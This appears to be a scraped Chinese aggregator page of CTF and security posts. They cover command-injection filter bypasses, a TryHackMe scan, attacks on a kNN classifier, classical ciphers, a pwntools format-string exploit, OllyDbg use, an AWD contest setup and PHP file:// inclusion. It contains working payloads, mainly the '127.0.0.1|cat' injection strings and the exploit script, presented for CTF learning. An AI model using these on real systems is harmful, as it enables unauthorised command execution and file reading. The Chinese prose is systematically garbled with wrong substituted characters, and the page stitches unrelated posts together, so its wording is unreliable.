关于ctf:CTFHUB技能树REC命令注入

过滤catREC破绽 结构payload获取根目录信息payload=0.0.0.0;lsflag就在根目录中获取flag payload=127.0.0.1|cat flag_113311162723831.php无奈间接获取flag,后盾进行了cat过滤,当命令中呈现cat时,会返回&m(正则化匹配后果) 知识点 :能够应用应用其余命令替换cat tac more less head tail nlpayload=127.0.0.1|head flag_113311162723831.php输入内容为空可能是内容被正文掉了查看源代码失去flag 过滤空格显示以后文件夹信息 payload=127.0.0.1|ls获取flag payload=127.0.0.1|cat flag_113311162723831.php逻辑上过滤了空格知识点:能够应用< %20 %09代替 输出重定向符号 从文件中读取输出并提供给命令,而不是从键盘输入%20 URL编码中示意空格符号%09 URL编码中示意tab符号payload=127.0.0.1|cat<flag_113311162723831.php查看源代码,失去flag 过滤目录分隔符显示以后文件夹信息 payload=127.0.0.1|ls显示flag_is_here文件夹信息 payload=127.0.0.1|ls flag_is_here获取flag payload=127.0.0.1|ls flag_is_here/flag_302302826525570.php然而这里过滤了/目录分隔符 办法一:分解成三条命令 payload=127.0.0.1&cd flag_is_here;cat flag_302302826525570.php失去flag 问题:为什么payload=127.0.0.1|cd flag_is_here;ls是显示后果是而payload=127.0.0.1&cd flag_is_here;ls 后果却是 就像这样首先是符号具备优先级 | > ; > &对于127.0.0.1|cd flag_is_here;ls |运算符会先创立一个管道(子过程)用于将前后两个命令连接起来,所以ping 127.0.0.1和cd flag_is_here是在子过程中进行的,不影响父过程,两个命令执行完之后,父过程中最初执行ls对于127.0.0.1&cd flag_is_here;ls 127.0.0.1&中的&会使ping 127.0.0.1在后盾进行,从而不阻塞以后shell提示符。而后cd flag_is_here;ls会被执行

September 18, 2023 · 1 min · jiezi

关于ctf:TryhackmeEasy-Peasy目录爆破图片隐写Cron

免责申明本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用,请不要将文中应用的工具和浸透思路用于任何非法用处,对此产生的所有结果,自己不承当任何责任,也不对造成的任何误用或侵害负责。服务探测┌──(rootkali)-[~/tryhackme/EasyPeasy]└─# nmap -sV -Pn 10.10.246.60 -p-Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-12 03:25 ESTNmap scan report for 10.10.246.60Host is up (0.30s latency).Not shown: 65532 closed portsPORT STATE SERVICE VERSION80/tcp open http nginx 1.16.16498/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)65524/tcp open http Apache httpd 2.4.43 ((Ubuntu))Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 829.53 seconds80端口,关上是一个nginx的欢送页面,源代码找到flag3 ...

November 14, 2021 · 4 min · jiezi

关于ctf:CTF-中如何欺骗-AI

近年来,笔者在国内外 CTF 比赛中见到不少与 AI 相干的题目。有一些是须要选手自行实现一个 AI,来自动化某些操作;有些是给出了一个指标 AI 模型,要求选手进行破解。本文次要议论后者——在 CTF 比赛中,咱们如何坑骗题目给出的 AI? CTF 中的坑骗 AI 问题个别分成两类:基于神经网络的和基于统计模型的。如果题目要求选手坑骗神经网络,个别会给出白盒的模型(往往是图像分类工作);如果是要求选手坑骗统计学习模型,有些题目会给出白盒的模型参数,也有的提供训练数据集。 咱们先从一道很简略的坑骗统计学习模型看起,来体验这类问题的次要求解过程 坑骗 kNN:[西湖论剑2020] 指鹿为马工作指标有一个 AI 模型,要求选手上传一张图片,与 dear.png 的差别很小,但被 AI 判断为马。 import numpy as npfrom PIL import Imageimport mathimport operatorimport osimport timeimport base64import randomdef load_horse(): data = [] p = Image.open('./horse.png').convert('L') p = np.array(p).reshape(-1) p = np.append(p,0) data.append(p) return np.array(data)def load_deer(): data = [] p = Image.open('./deer.png').convert('L') p = np.array(p).reshape(-1) p = np.append(p,1) data.append(p) return np.array(data)def load_test(pic): data = [] p = Image.open(pic).convert('L') p = np.array(p).reshape(-1) p = np.append(p,1) data.append(p) return np.array(data)def euclideanDistance(instance1, instance2, length): distance = 0 for x in range(length): distance += pow((instance1[x] - instance2[x]), 2) return math.sqrt(distance)def getNeighbors(trainingSet, testInstance, k): distances = [] length = len(testInstance) - 1 for x in range(len(trainingSet)): dist = euclideanDistance(testInstance, trainingSet[x], length) distances.append((trainingSet[x], dist)) distances.sort(key=operator.itemgetter(1)) neighbors = [] for x in range(k): neighbors.append(distances[x][0]) return neighborsdef getResponse(neighbors): classVotes = {} for x in range(len(neighbors)): response = neighbors[x][-1] if response in classVotes: classVotes[response] += 1 else: classVotes[response] = 1 sortedVotes = sorted(classVotes.items(), key=operator.itemgetter(1), reverse=True) return sortedVotes[0][0]def getAccuracy(testSet, predictions): correct = 0 for x in range(len(testSet)): if testSet[x][-1] == predictions[x]: correct += 1 return (correct / float(len(testSet))) * 100.0def check(pic): source_p = Image.open('deer.png') try: c_p = Image.open(pic) except: print("Please upload right picture.") exit() diff_pixel = 0 a, b = source_p.size if c_p.size[0] != a and c_p.size[1] != b: print("Please upload right picture size("+str(a)+','+str(b)+')') exit() for y in range(b): for x in range(a): diff_pixel += abs(source_p.getpixel((x, y)) - c_p.getpixel((x, y))) return diff_pixeldef main(): while 1: print('-' * 134) print(''' ____ __ _ _ _ _ _ _ _ | __ \ / _| | | | | | | | | | | | | | | | |__) |___| |_ ___ _ __ | |_ ___ | |_| |__ ___ __| | ___ ___ _ __ __ _ ___ | |_| |__ ___ | |__ ___ _ __ ___ ___ | _ // _ \ _/ _ \ '__| | __/ _ \ | __| '_ \ / _ \ / _` |/ _ \/ _ \ '__| / _` / __| | __| '_ \ / _ \ | '_ \ / _ \| '__/ __|/ _ \\ | | \ \ __/ || __/ | | || (_) | | |_| | | | __/ | (_| | __/ __/ | | (_| \__ \ | |_| | | | __/ | | | | (_) | | \__ \ __/ |_| \_\___|_| \___|_| \__\___/ \__|_| |_|\___| \__,_|\___|\___|_| \__,_|___/ \__|_| |_|\___| |_| |_|\___/|_| |___/\___| ''') print('-'*134) print('\t1.show source code') print('\t2.give me the source pictures') print('\t3.upload picture') print('\t4.exit') choose = input('>') if choose == '1': w = open('run.py','r') print(w.read()) continue elif choose == '2': print('this is horse`s picture:') h = base64.b64encode(open('horse.png','rb').read()) print(h.decode()) print('-'*134) print('this is deer`s picture:') d = base64.b64encode(open('deer.png', 'rb').read()) print(d.decode()) continue elif choose == '4': break elif choose == '3': print('Please input your deer picture`s base64(Preferably in png format)') pic = input('>') try: pic = base64.b64decode(pic) except: exit() if b"<?php" in pic or b'eval' in pic: print("Hacker!!This is not WEB,It`s Just a misc!!!") exit() salt = str(random.getrandbits(15)) pic_name = 'tmp_'+salt+'.png' tmp_pic = open(pic_name,'wb') tmp_pic.write(pic) tmp_pic.close() if check(pic_name)>=100000: print('Don`t give me the horse source picture!!!') os.remove(pic_name) break ma = load_horse() lu = load_deer() k = 1 trainingSet = np.append(ma, lu).reshape(2, 5185) testSet = load_test(pic_name) neighbors = getNeighbors(trainingSet, testSet[0], k) result = getResponse(neighbors) if repr(result) == '0': os.system('clear') print('Yes,I want this horse like deer,here is your flag encoded by base64') flag = base64.b64encode(open('flag','rb').read()) print(flag.decode()) os.remove(pic_name) break else: print('I want horse but not deer!!!') os.remove(pic_name) break else: print('wrong choose!!!') break exit()if __name__=='__main__': main()咱们具体看一遍代码,发现这个 AI 模型是 k-邻近(k-Nearest Neighbor, KNN),而且还是个 k=1 的情景,且训练集中,鹿和马各只有一张图片。题目将选手的图片读进去,做的事件如下: ...

August 25, 2021 · 5 min · jiezi

关于ctf:二进制安全CTF中那些古典密码

一. 古典明码1.凯撒明码(Caesar Cipher)凯撒明码是一种十分古老的明码,其原理是通过字母的位移将原文和密文一一对应。举个例子:明文是“Hello world”,偏移量为3。所以A-->C,B-->D,顺次类推,所以密文就是”Khoor zruog“ 凯撒明码是一种十分古老的明码,其原理是通过字母的位移将原文和密文一一对应。举个例子:明文是“Hello world”,偏移量为3。所以A-->C,B-->D,顺次类推,所以密文就是”Khoor zruog“ 依据偏移量的不同,还存在一些特定的凯撒明码名称偏移量为10:Avocat偏移量为13:ROT13偏移量为-5:Cassis偏移量为-6:Cassette 在线解密网站:https://www.qqxiuzi.cn/bianma... 2. 培根明码(Bacon‘s Cipher) 培根明码加密时,明文中的每个字母都会转换成5个为一组由a和b组成的英文字母如下: 能够看到这类明码又一个很显著的特点:只由a和b组成然而加密解密的时候不分大小写......所以看到这个明码就很容易想到时培根明码例如:"Hello" --> "aabbbAABAAABABBABABBABBBA" 在线解密网站:https://tool.bugku.com/peigen/ 3. 摩斯明码(Morese Cipher)置信这个明码应该没人不晓得吧!电视剧里发电报个别用的都是这个明码。摩斯明码是一种时通时断的信号代码,通过不同的排列程序来表白不同的英文字母、数字和标点符号。创造于1837年。例如:“Hello” --> " .... . .-.. .-.. --- " 在线解密网站:moersima.00cha.net 4. 栅栏明码(Rail-fence Cipher) 栅栏明码,就是把要加密的明文分成N个一组,而后把每组的第1个字连起来,造成一段无规律的话。(其中N称为栏数)不过栅栏明码自身有一个潜规则,就是组成栅栏的字母个别不会太多。 栅栏明码也分为两种:Z型和W型好多文章都只讲Z型,但考试常常出W型的,所以我两种都讲一下 Z型(惯例) 就是依照N个一组分好后,按列从上到下组合成新的字符串例如:“Helloworld”N=2时:“Hloolelwrd”;N=3时:“Hlodeorlwl” W型(变形)这个很恶心,我钻研了半天才搞进去 W型顾名思义,就是把明文依照W型排列,按行输入其中栏数N即为行数,如图:(只能画进去了) 栅栏明码(W型)在线解密网站:http://www.atoolbox.net/Tool....栅栏明码(Z型)在线解密网站:https://www.qqxiuzi.cn/bianma... 5. 仿射明码(Affine Cipher) 单表加密的一种,字母表的每个字母相应的值应用一个简略的数学函数对应一个数值,再把对应数值转换成字母。个别仿射明码都会给你一个a一个b,这是解密的要害 加密函数:E(x)=(ax+b)mod m;解密函数:D(x)=a^(-1)*(x-b)mod m; 其中波及到的数学知识是乘法逆元 例子:假如a=5,b=8;明文为AFFINECIPHER则加密为:解密为:而有些仿射明码的题目不会给a和b,而是间接给对应的字符(2021MSSCTF--Crypto T1) 仿射明码没有在线的解密工具,所以以Python脚本形式展现 def get(a, b): if b == 0: return 1, 0 else: k = a //b remainder = a % b x1, y1 = get(b, remainder) x, y =y1, x1 - k * y1 return x, ys = input("请输出解密字符:").upper()a = int(input("请输出a:"))b = int(input("请输出b:"))#求a对于26的乘法逆元x, y = get(a, 26)a1 = x % 26l= len(s)for i in range(l): cipher = a1 * (ord(s[i])- 65 - b) % 26 res=chr(cipher + 65) print(res, end='')6. 猪圈明码(Pigpen Cipher) ...

July 29, 2021 · 1 min · jiezi

关于ctf:pwnfancyROP二

...什么也没有,留坑,看完了caspp再来把剩下的和高级的补上,先去看格式化字符串了~~~~

March 2, 2021 · 1 min · jiezi

关于ctf:CTF压缩包解密CRC碰撞

当压缩包中看到文件大小很小,如4,代表有4个字符(例如:qbcd),能够通过CRC碰撞,获取到文件中的字符串内容python2脚本: #!/usr/bin/env python# -*- coding:utf-8 -*-import datetimeimport binascii def crack(crc_in): crcs = set([crc_in]) r = 'abcdefghijklmnopqrstuvwxyz_' #压缩字符串 for a in r: for b in r: for c in r: for d in r: txt = a+b+c+d crc = binascii.crc32(txt) if (crc & 0xFFFFFFFF) in crcs: return txtif __name__ == "__main__": s=[0x6083A1C8, 0xCE70D424,0xC3F17511,0x526FD582,0x30E25038,0xAA3E6AEA] password='' for x in s: passw = crack(x) password+=str(passw) print password

November 5, 2020 · 1 min · jiezi

关于ctf:CTF-线下赛-AWD-赛题分享

前一阵,加入了一场网络安全比赛,体验了 CTF 线上赛到 AWD 线下赛的残缺过程。筹备 CTF 较量最好的方法就是刷题,然而筹备 AWD 时发现不容易找到实在的环境进行训练。较量过后总结,AWD 较量环境的确有其特殊性,新手上路容易懵圈儿,所以尝试凭借回顾,复现一个较量环境,供大家训练应用。 环境的特点这次较量的环境是由某四字网络安全解决方案提供商提供的: 这是一个 WEB 服务,装置了某个版本的 Metinfo CMS,而且留了几个简略的 RCE 后门。用于进攻的 SSH 账号权限很低,造成很多不便2.1 不足一些根本的文件操作权限,比方 rm/mv/chmod 等,被挂马后处理起来要费点劲。2.2 没有权限重启 Apache。2.3 没有 zip/tar 等命令权限,备份网站要吃力些。环境部署复现的较量环境是一个 ova 文件,能够通过服务器虚拟化软件导入。 导入后要留神调整 IP防御者 SSH 账号 ubuntu / symantec环境下载通过百度网盘下载(3.2GB) 链接: https://pan.baidu.com/s/1ewAp...明码: g25j

October 13, 2020 · 1 min · jiezi

关于ctf:ByteCTF-脑洞-Real-Hard-Problem

最近github逛得多看到一个有点脑洞的题目附件名字叫dee_en_aee.txt关上当前内容是这样的 ACTCACGAATATAGTGAGCTCTTAGTAGAGCGCTACAACATTTGCGAATTCTTGGCAGGGTCGGCGAATGATAGCCACGAATTACTGTCG依据名字和内容能够联想到是DNA的序列emmm而后找了很多对于DNA编码解码的脚本,根本都是和机器学习联合起来的而后翻到一篇用python3把DNA序列编码成蛋白质的文章(文章链接) 仿照他人的脚本本人写一个相似的 def translate(seq): table = { 'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M', 'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T', 'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K', 'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R', 'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L', 'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P', 'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q', 'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R', 'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V', 'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A', 'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E', 'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G', 'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S', 'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L', 'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_', 'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W', } protein = "" if len(seq) % 3 == 0: for i in range(0, len(seq), 3): codon = seq[i:i + 3] protein += table[codon] return proteinwith open('dee_en_aee.txt') as f: data = f.read().strip() print("Flag: " + 'flag{' + translate(data) + '}')运行一下就能失去flag了,题目不难然而比拟考验信息收集的能力TAT ...

October 11, 2020 · 1 min · jiezi

关于ctf:腾讯信息安全争霸赛的第四年喝水人和挖井人

腾讯信息安全争霸赛(TCTF)的诞生,是一个“出道即巅峰”的故事。 2017年,腾讯平安发动、腾讯平安联结实验室主办的第一届腾讯信息安全争霸赛,没有经验“冷启动”的开局之难,第一年就吸引了寰球近1000支CTF战队参赛,盛名在外的俄罗斯老牌强队LC↯BC战队、日本的binja战队和美国的Shellphish、PPP战队、匈牙利的传统CTF强队!SpamAndHex都在参赛战队之列。 2019年的0CTF/TCTF赛事在CTFTime上被打出了靠近满分100分的高分——CTFTime是一个去中心化的赛事资讯和积分网站,以权威和公正著称,无论是对于战队还是赛事主办方来说,在CTFtime上的排名和得分都是掂量其程度的最有说服力的指标。 “咱们不是(像你问题里形容的那样)花了四年或者花了几年打造一个这个程度的赛事,咱们是从第一年开始就是最好的,起初几年程度也没有掉下来过。”腾讯平安科恩实验室的负责人吴石提及这一点,语气里是拆穿不住的自豪。 01生逢其时正如唯心主义史观强调的“时势造英雄”所说:一个人的命运除了自我奋斗,也和历史进程离不开关系。TCTF的一骑绝尘,有很多天时地利的条件。 中国第一个公开的CTF赛事大概呈现在2014年,通过几年的倒退,到2017年的时候,尽管曾经陆续呈现一些新的CTF赛事,但品质参差不齐,没有一个在国内上有影响力。也是那个时候,中国开始器重网络安全的建设,而举办平安比赛是一个很好的推广网络安全的抓手。 “过后CTF在中国是一个将起未起的新鲜事,国内安全畛域对这个较量模式只有了一些浅显的理解,但不晓得一个好的CTF较量应该是什么样的。”腾讯平安科恩实验室高级研究员谢天忆回顾,“我那时候就在想,如果当前有机会,我要让国内的CTF选手晓得真正的CTF较量是什么样的。” 巧的是,谢天忆有一天接到了老板吴石的一个提议:我想办一个面向寰球的CTF较量,你有没有信念办好?谢天忆心想:我就是干这个的啊。事件就这么欢快地决定了。 那时候国内有实力去打国内较量、能打进决赛的CTF战队寥寥可数,叫得出名字的一个是清华的蓝莲花,另一个是上海交大的0ops,而谢天忆就已经是0ops的队长。 和谢天忆出于趣味投身CTF赛事不同,腾讯平安科恩实验室负责人吴石想要办TCTF,最早是出于培养人才的思考。有一天,0ops战队的指导老师姜开达带了两个学生来找吴石,请吴石对他们进行“特训”,让他们在接下来要进行的一个CTF赛事中打出好问题。“我过后也察看了一下,国内安全钻研人员极度不足,咱们简直招不到人。如果整个行业都这么缺人,那么我是不是能够把这个事件搞大一点,让更多年轻人都能够参加进来?” 吴石的Keen Team曾经被腾讯平安导致麾下,估算、人力、资源都有保障,如果说他之前也已经产生过办一个国内赛事的想法的话,那这个时候这个想法的实现曾经触手可及。吴石向他的老板、腾讯副总裁丁珂表白了想要办CTF赛事的志愿,失去了后者的大力支持。 2017年,TCTF正式“出道”。第一届TCTF由腾讯平安联结实验室主办,腾讯平安联结实验室七大掌门人吴石、于旸、袁仁广等悉数出阵,和数十所高校的资深网络安全老师一起组成了全明星导师团。通过与0ops战队的单干,第一届TCTF顺利申请到了有“黑客世界杯”之称的DEF CON CTF外卡赛的资格,成为中国大陆过后惟一拿到DEF CON CTF外卡赛资格的赛事。这意味着在TCTF中取得国内赛冠军的团队会间接进入DEF CON CTF总决赛。 “从第一年开始确实就有很多海内出名强队加入TCTF,我本人认为有两个起因,一个是0ops是中国首屈一指的战队,与0ops单干办这个赛事,品质有保障;另一个是咱们给决赛战队提供来中国的差旅,有机会来中国一趟,这些海内战队也很乐意。”吴石说。 和国内赛并列的是另一个面向高校学生的赛道“新星赛”,每年也吸引几百支中国高校战队出战。这些高校战队平时并没有太多机会去海内打较量,然而在TCTF的赛场上,他们能和来自全世界的顶尖高手们同台竞技。“咱们每年都保持做线下赛,其实就是要给国内的这些选手提供一个可能面对面跟国内最顶尖选手交换的机会。这几年国内的CTF程度整体有飞速的增长,这与跟国内战队的交换是密不可分的。” 谢天忆介绍道,掂量一个CTF较量好不好最要害的因素看题目品质。TCTF的出题人凭借丰盛的海内参赛教训,排汇了国内高水平CTF赛事的一些理念,交融出题人本人的思路之后再去设计了很多很好的题目,在过后的CTF畛域一下子就出类拔萃。“参赛选手会感觉较量题目设计得很好,能学到货色、很乏味,解进去很有成就感。” 尽管是轻描淡写的几句,但其实出题是一个苦差事,经常要消耗一个团队一个月的工夫。尽管在部门里承当了很多治理职责,但谢天忆每年还是很踊跃地加入各种国内外高规格的CTF赛事。一是本人确实很喜爱,二也是因为想要捕获最前沿的CTF赛题。“要么跟进前沿平安钻研,要么就常常去打较量,看看他人在出一些什么类型的、什么方向的题目,否则你出的题目很容易就会掉队。” 02喝水人和挖井人与2017年腾讯平安联结实验室刚刚开始办TCTF的时候相比,尽管只有短短几年,国内的网络安全圈子曾经产生了很大的变动。全国性的CTF赛事越来越多,组织程度相较四年前也有了质的晋升,很多高校都有了本人的CTF战队:复旦大学六星战队、浙江大学AAA战队、清华大学Redbud、北航的Lancet、中山大学WaterDrop……去年由国家主管部门领导举办的“护网杯”平安比赛,参赛团队达到了惊人的6479支。 甚至,在“国赛”中打出问题的战队,在考研时甚至能够取得额定加分——这反映的是一种理念的变动:已经被认为不务正业、奇技淫巧的CTF,现在曾经被正名了。 当初困扰吴石的无人可招的场面也有显著的改善,仅腾讯平安科恩实验室本人而言,TCTF给它带来了占据实验室一半编制的新成员,往年代表腾讯平安在DEF CON CTF拿下冠军的A0E战队队长刘耕铭就是第一届TCTF的新星赛冠军战队成员。 TCTF组委会针对前两年加入较量的选手做过一个回访,从后果上来看,加入过TCTF的选手绝大部分都从事了网络安全行业,他们流向了一线互联网公司的网安部门或者专门的网络安全公司,其中也有相当一部分退出了腾讯。 现在的网络安全比起四年前算是凋敝了很多,仅从人才培养的角度来看,以办赛的形式看起来稍显曲折,每年砸在TCTF赛事上的钱如果间接用来从高校定向挖人或者补贴,招人效率可能更高。但以目前网络安全人才缺口的情况,还远远不到不劳而获的阶段。教育部高等学校教指委的报告指出,中国每年通过高等教育向社会输送的平安人才有余1.5万,但每年平安畛域的人才缺口却高达几十万。 “培养人才应该是一个正和博弈而不是零和博弈,是须要大家一起参加、携手来做好的事件。如果都不挖井、都只想喝现成水的话,这个行业起不来,每个人都没有水喝。”吴石说道,“目前有一个很显著的趋势,国家很多主管部门也在办这种较量,这对于整个行业的凋敝都是有帮忙的。” 吴石说,如果没有产生什么大的变故,TCTF他们会始终办上来,“和国内高校的学生放弃一个比拟好的互动”。 03光彩与幻想TCTF往年的预赛曾经于6月底实现,决赛将在9月26号开展尾声。和大多数国内比赛一样,因为疫情,往年的形式改成了线上。尽管没有了“海内差旅”的加持,当初的TCTF也足够吸引寰球高手来切磋。 东京大学的CTF战队TSG往年打算操办CTF赛事,因为和TCTF预赛工夫抵触,他们调整了本人赛事的工夫。“道歉给大家带来困扰,但咱们想加入0CTF(即TCTF的国内赛)!” 往年的决赛阵容判若两人地弱小,来自韩国的Koreanbadass、来自战斗民族俄罗斯的More Smoked Leet Chicken、美国的00后战队perfect blue、中国高校联结战队r3kapig、波兰劲旅Dragon Sector、日本强队TokyoWestern、浙江大学的AAA战队、华南理工Kap0K、深圳大学的Aurora、西安电子科大的L战队……15支寰球顶尖战队和15支中国高校战队齐聚一堂,老牌战队要保卫光荣,新星战队要锋芒毕露,他们都将在TCTF 2020的决赛上绽开他们的光彩与幻想。

September 29, 2020 · 1 min · jiezi

关于ctf:OD之多线程调试

0x01引言明天做一道逆向的题时,应用od关上exe文件后,按F8始终单步执行到最初完结了也没输入任何货色然而失常执行exe文件是这个样子的推敲了良久....而后留神到这是一个多线程程序。因为od同时只能跑一个线程,一个线程在调试的时候,其它线程是暂停的。所以我始终f8的时候子线程基本没有运行就跑完了... 0x02思路咱们的指标是输出正确的flag,所以只有把断点下在判断flag是否正确的汇编代码行就ok了。 0x03步骤1:将文件拖入od,咱们发现曾经有两个线程,一个主线程,一个子线程2:点击调试->运行线程(F11)直到呈现输出flag的字样 3、关上ida,查看判断flag处的汇编代码,并记下要害汇编代码行,在od中进行搜寻(ctrl+f)并下断(F2) 4、下好断点后轻易输出flag并运行(F9)到断点处后,单步执行(F8),即可看到实在flag 0x04 tips点击设置->设置(O)中设置有新线程时暂停

September 22, 2020 · 1 min · jiezi

关于ctf:PWN之CGfsb从堆栈角度深入理解格式化字符串漏洞

0x01 筹备拿到程序首先查看下文件属性,是32位的elf可执行文件,开启了NX(将数据所在页标识为不可执行),RELRO(设置符号重定向表为只读或在程序启动时就解析并绑定所有动静符号,Partial RELRO阐明咱们对got表具备写权限),Stack Canary found阐明对栈进行了爱护,个别不可笼罩函数返回地址进行攻打。 执行函数能够看到先让咱们输出name,再让咱们输出了message,有输出的中央都有可能触发破绽。 0x02 操作1、应用ida查看源代码,能够看到printf(&s)处存在格式化字符串破绽。而咱们的指标是使全局变量pwnme处的值为8,咱们要想方法把8写到pwnme(0804A068)的地位。 2、上面咱们来剖析下格式化字符串破绽原理 失常的printf的函数为printf("test %d,test %s ",123,"test") 函数参数压栈程序为从右向左堆栈图如图所示 如果printf写成printf(&s)的模式,那么会把s代表的字符串当成format。如果s=“%x%x%x”,就会从format所在地址往下读取3个32bit的值,而这三个4字节数据位于main函数的堆栈中,如图所示 咱们能够用printf中的%n来进行利用。%n:将%n之前printf曾经打印的字符个数赋值给指针所指向的地址%N$n:将%n之前printf曾经打印的字符个数赋值给间隔format所在地址向高地址偏移N*4字节的地址外面的指针所指向的值(32位程序为32/8bit)0x03 利用1、查看伪代码,咱们能够看到s变量间隔main函数栈顶为28h个字节,即10进制的40个字节。2、咱们输出的message将存在以s变量地址为起始的地位处。而s间隔format偏移为10(10*4个字节)。咱们只有把pwnme的地址(4个字节)放在s的起始地位,再加上4个字节,接着存入%10$n,即可实现将(4+4)8存入间隔format偏移10这个地址外面的值所指向的地址(即pwnme的地址)。利用堆栈图如下:3、代码 from pwn import * context(os='linux', arch='i386', log_level='debug')#sh=remote("",45107) sh=process("./cgfsb")elf=ELF("./cgfsb")pwnme=elf.symbols['pwnme']#print("%x"%pwnme)payload=p32(pwnme)+p32(0x11111111)+b"%10$n" sh.sendlineafter("name",str(1))sh.sendlineafter("please",payload)sh.interactive()4、胜利获取到flag

September 16, 2020 · 1 min · jiezi

月报5164

这个月注定是繁忙而又充实的一个月。首先经过我们班的努力训练,运动会各方面进展十分顺利。接下来的日子就是准备竞赛的时间,对于6月参加的信息安全竞赛我充满了期待。两支队伍每天晚上的努力奋战,最终的成绩虽然不高,但是毕竟这是第一次参赛,取得这样的成绩已经很不错了。我们对接下来的比赛也充满了信心。比赛:这次比赛的主要分为三个阶段,第一个阶段是build阶段,队伍要自己出题,搭建一个服务器环境,然后自己利用某个漏洞出题。第二个阶段为break阶段,队伍要共同完成多个题目,找出漏洞获取flag。第三个阶段为fix阶段,队伍要修复服务器漏洞。总结一下这次比赛的不足:通过这次比赛,我明显的认识到了自身和其他人之间的差距。当我赛前还在听比赛通则的时候有的题一血已经被拿了,那个题自己研究两三个小时也不知道怎么做。根本原因就是自己的水平还不够,php语言很多地方还看不懂,不知道怎么爆破和提权等等。最重要的一点,比赛的经验不足。对于那些经常打比赛的学长而言,很多题一看也许就有思路,第一步还干什么下一步该干什么思路非常清晰。而对于我而言可能报完目录查完端口看到源码后就会遇到一些摸不着头脑的东西,然后就懵了,不知道接下来该干啥。总之,自己还是太年轻了,平时的努力也没有做到位。当然发现问题就要解决问题这也是参加了比赛之后能够学习到的地方,希望下次比赛时能取得明显的进步。

June 4, 2019 · 1 min · jiezi

基于-Swoole-构建的-CTF-AWD-比赛环境搭建与实践

Author: RytiaDate: 20190427Blog: www.zzfly.net本人才学疏浅,望君不吝赐教背景受学校老师邀请,为学弟学妹举办分享会介绍 AWD 相关经验,本人一时头脑风暴采用 PHP 的 Swoole 扩展搭建了比赛的环境,将分享会变成了友谊赛。 出题思路本次题目来自于我的一个外包项目实践。项目里面大致有这么一个需求:客户登录系统后,由外部设备触发一个 websocket 发送操作(例如嵌入式中常遇见的“打开门禁”、“滴卡”、“按下开关”等),该请求接收方为某个已经登陆的某个用户(通常靠 user id 或用户名绑定)。本人在初次开发这类应用时,将用户唯一身份标识的 user id 作为了这个 websocket 通道的名字,如此一来带来的后果便是无论这个用户在哪台电脑登录,无论用户登陆多少次(小项目无重复登陆+挤下线判断),只要成功登录并打开相应网页便会收到这个 websocket 请求,带来了某些非预期的信息泄露。在实际的项目中解决方法有很多,例如重复登陆的判断以及 websocket “匿名通道”建立。本次出题,便以此为基础展开 AWD 运作原理CTF-AWD 是线下赛中常见的比赛类型,通常因为攻守兼备而广受选手喜爱。这里我主要实现了 AWD 两大关键功能:回合制 、 存活检测 与 动态 flag,至于 flag 提交等前端部分内容,则交由我校 GOCTF 平台处理。 回合制:比赛以 10 分钟为一回合。在中心服务器方面,事先使用脚本,根据已开启的靶机数量以及 ip 生成 flag 并保存为文件,并于比赛开始时记录开始时间。每次中心服务器接收到选手靶机的请求时,根据靶机的 ip,以及距离比赛开始的时间,计算出当前处于第几个回合,并返回 flag 数组中相应的值。而在 pusher (一个第三方 websocket 工具,可以为 cli 运行的脚本语言提供发送 websocket 的能力,本次出题依赖 pusher 进行),同样以 10 分钟为一回合,主动向选手端推送含有比赛关键内容的消息存活检测:本次平台存货监控设置的比较简单,主要为 web 服务(靶机 80 端口)的监控。每隔一段时间向靶机发送 http 请求,下载靶机上某个保存着 pusher 密钥的 js 文件,若该文件大小符合预期,则判定靶机存活。选手在比赛过程中需要盗取到对手的密钥,以窃听他方 websocket 内容,并修改己方 pusher 密钥以放泄露动态 flag:该部分同样由中心服务器与 pusher 完成。中心服务器在被请求时根据时间不同(回合不同)向选手返回不同 flag。pusher 根据时间不同(回合不同)主动推送不同的 flag 到选手的页面上。AWD 缺陷总结本次比赛完成之后,发现这套平台想要真正用于日常选手的训练还有几个问题需要克服 ...

May 9, 2019 · 2 min · jiezi

PHP伪协议总结

参考了这篇文章:php伪协议实现命令执行的七种姿势,并根据自己理解进行了总结,也算是加深一下印象,方便以后使用。file:// 协议条件: allow_url_fopen:off/onallow_url_include :off/on作用:用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。说明:file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。用法: /path/to/file.extrelative/path/to/file.extfileInCwd.extC:/path/to/winfile.extC:\path\to\winfile.ext\\smbserver\share\path\to\winfile.extfile:///path/to/file.ext示例: file://[文件的绝对路径和文件名] http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt [文件的相对路径和文件名] http://127.0.0.1/include.php?file=./phpinfo.txt [http://网络路径和文件名] http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt 参考:http://php.net/manual/zh/wrappers.file.phpphp:// 协议条件: 